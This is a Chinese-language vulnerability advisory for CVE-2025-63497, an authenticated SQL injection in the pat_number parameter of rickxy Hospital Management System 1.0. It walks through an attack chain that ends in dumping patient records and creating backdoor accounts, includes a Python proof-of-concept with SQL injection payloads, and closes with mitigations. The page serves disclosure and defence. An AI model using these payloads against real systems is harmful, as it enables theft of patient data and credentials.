IPBUF安全漏洞报告
English
CVE-2025-63497 CVSS 7.1 高危

CVE-2025-63497 rickxy医院管理系统SQL注入漏洞

披露日期: 2025-11-10

漏洞信息

漏洞编号
CVE-2025-63497
漏洞类型
SQL注入
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
rickxy Hospital Management System v1.0

相关标签

SQL注入CVE-2025-63497rickxy Hospital Management System医院管理系统认证绕过权限控制患者数据泄露高危漏洞

漏洞概述

CVE-2025-63497是rickxy医院管理系统1.0版本中的一个高危SQL注入漏洞。该漏洞存在于患者处方查看功能文件his_doc_view_single_patient.php中,问题出在pat_number GET参数上。由于该参数被直接拼接到SQL查询语句中而未经任何过滤或参数化处理,攻击者可以通过构造恶意SQLPayload来操纵数据库查询。漏洞利用需要攻击者拥有系统认证账号(医生角色),这降低了攻击门槛,因为医院系统通常会为员工创建大量账户。一旦漏洞被利用,攻击者可以执行任意SQL命令,可能导致患者隐私数据泄露、处方信息篡改,甚至可能通过SQL注入获取系统更高权限。该漏洞的完整性影响评级为高,表明攻击者能够对数据库内容造成严重破坏。

技术细节

该SQL注入漏洞位于rickxy医院管理系统的his_doc_view_single_patient.php文件中的患者处方查看功能。漏洞的根本原因是开发者将用户可控的pat_number GET参数直接拼接到SQL查询语句中,完全缺乏输入验证和参数化查询意识。具体来说,当用户访问包含pat_number参数的页面时,系统直接将该参数值嵌入SQL语句,如:SELECT * FROM prescriptions WHERE pat_number='$pat_number'。攻击者可以通过在pat_number参数中注入SQL语法,如使用单引号闭合原语句并添加UNION SELECT或布尔盲注等payload,实现任意SQL操作。攻击者首先需要获取医生角色的有效登录凭证,然后构造恶意请求。由于pat_number参数缺乏过滤,攻击者可以提取数据库中的敏感信息,包括其他医生和患者的账户密码、详细病历数据等。漏洞的CVSS评分7.1(高危)反映了其网络可利用性、低攻击复杂度和高的完整性影响。

攻击链分析

STEP 1
步骤1
获取医生账户凭证:攻击者通过社会工程学、暴力破解或利用其他漏洞获取rickxy医院管理系统中具有医生角色的有效账户
STEP 2
步骤2
构造恶意SQL注入Payload:攻击者在pat_number GET参数中注入SQL语句,如使用UNION SELECT提取数据库版本、用户名等敏感信息
STEP 3
步骤3
枚举数据库表结构:利用SQL注入获取数据库表名、列名,特别是用户表和患者信息表的结构
STEP 4
步骤4
提取敏感数据:通过UNION注入或布尔盲注技术,提取管理员账户、医生账户、患者病历、处方记录等敏感数据
STEP 5
步骤5
权限提升或数据篡改:利用获取的数据库访问权限,可能修改患者处方记录、创建后门账户或进一步渗透内网

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-63497 SQL Injection PoC # Target: rickxy Hospital Management System v1.0 # Vulnerability: SQL Injection in pat_number parameter target_url = "http://TARGET_HOST/his_doc_view_single_patient.php" # Login as doctor to obtain session login_url = "http://TARGET_HOST/login.php" credentials = { "username": "doctor_username", "password": "doctor_password" } session = requests.Session() # login_response = session.post(login_url, data=credentials) # SQL Injection payloads # Basic injection to confirm vulnerability payloads = [ "' OR '1'='1", "' UNION SELECT NULL-- -", "' UNION SELECT 1,2,3,4,5-- -", "admin'-- -", "' OR 1=1-- -" ] print(f"[*] Testing CVE-2025-63497 SQL Injection") print(f"[*] Target: {target_url}") for payload in payloads: params = {"pat_number": payload} try: response = session.get(target_url, params=params, timeout=10) # Check for SQL error messages or different responses if "SQL syntax" in response.text or "mysql" in response.text.lower(): print(f"[+] Vulnerable! Payload: {payload}") print(f"[+] Response length: {len(response.text)}") elif response.status_code != 200: print(f"[*] Payload: {payload} - Status: {response.status_code}") except requests.RequestException as e: print(f"[-] Error with payload {payload}: {e}") print("\n[*] Manual verification recommended")

影响范围

rickxy Hospital Management System 1.0

防御指南

临时缓解措施
在无法立即升级系统的情况下,可采取以下临时缓解措施:1) 在Web服务器层面配置URL参数过滤规则,拦截包含SQL特殊字符(如单引号、分号、UNION等)的请求;2) 限制his_doc_view_single_patient.php文件的访问权限,仅允许信任的IP地址访问;3) 暂时禁用该患者处方查看功能,待官方修复后再启用;4) 加强医生账户的密码策略和登录监控,防止凭证被盗用;5) 建议使用ModSecurity等WAF规则对已知SQL注入模式进行阻断。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表